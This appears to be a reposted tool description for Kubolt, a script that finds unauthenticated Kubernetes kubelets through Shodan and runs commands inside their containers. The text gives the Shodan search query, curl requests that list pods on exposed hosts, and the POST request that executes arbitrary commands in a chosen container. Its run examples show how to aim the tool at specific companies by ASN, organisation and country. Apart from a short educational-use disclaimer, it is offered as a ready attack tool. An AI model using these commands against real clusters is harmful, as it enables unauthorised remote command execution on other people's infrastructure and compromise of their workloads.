Kubolt – Utility For Scanning Public Kubernetes Clusters From alphabanklog

Kubolt – Utility For Scanning Public Kubernetes Clusters From alphabanklog

Kubolt - Utility For Scanning Public

 

Kubolt – Utility For Scanning Public unauthenticated kubernetes clusters and run commands inside containers.

Why?

Sometimes, the kubelet port 10250 is open to unauthorized access and makes it possible to run commands inside the containersusing getrun function from kubelet:

How?

Okay, let’s ask our friend Shodan
The basic query is

ssl:true port:10250 404

Kubelet uses port 10250 with SSL by default, 404 is the HTTP response without URL path.
Kubolt asks Shodan by API for list of IP addresses and keeps them for other OSINT actions
Firstly, let’s ask Kubelet for running pods and filter hosts where response doesn’t contain Unauthorized and contains containerso we can run command inside it.

Code:
curl -k https://IP-from-Shodan:10250/runningpods/

Anyway, if you find the host without any running pods at the time, keep it for next time when pods might be started 
You can list all available pods from these requests:

Code:
curl -k https://IP-from-Shodan:10250/pods/

#or
Code:
curl http://IP-from-Shodan:10255/pods/

Next kubolt parse response and generate a new request as below:

Code:
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d “cmd=<command-to-run>”

You can target companies more accurate using Shodan filters such as:

  • asn
  • org
  • country
  • net

Install

Code:
mkdir output
pip install -r requirements.txt

Run

Code:
python kubolt.py –query “asn:123123 org:’ACME Corporation'”

#or

Code:
python kubolt.py –query “org:’ACME Corporation’ country:UK”

Shodan

Kubolt uses Shodan API and Query Credits accordingly, if you run the tool without query filters then you will probably fire all your credits
Important
The Tool provided by the author should only be used for educational purposes. The author can not be held responsible for the misuse of the Tool. The author is not responsible for any direct or indirect damage caused due to the usage of the Tool.

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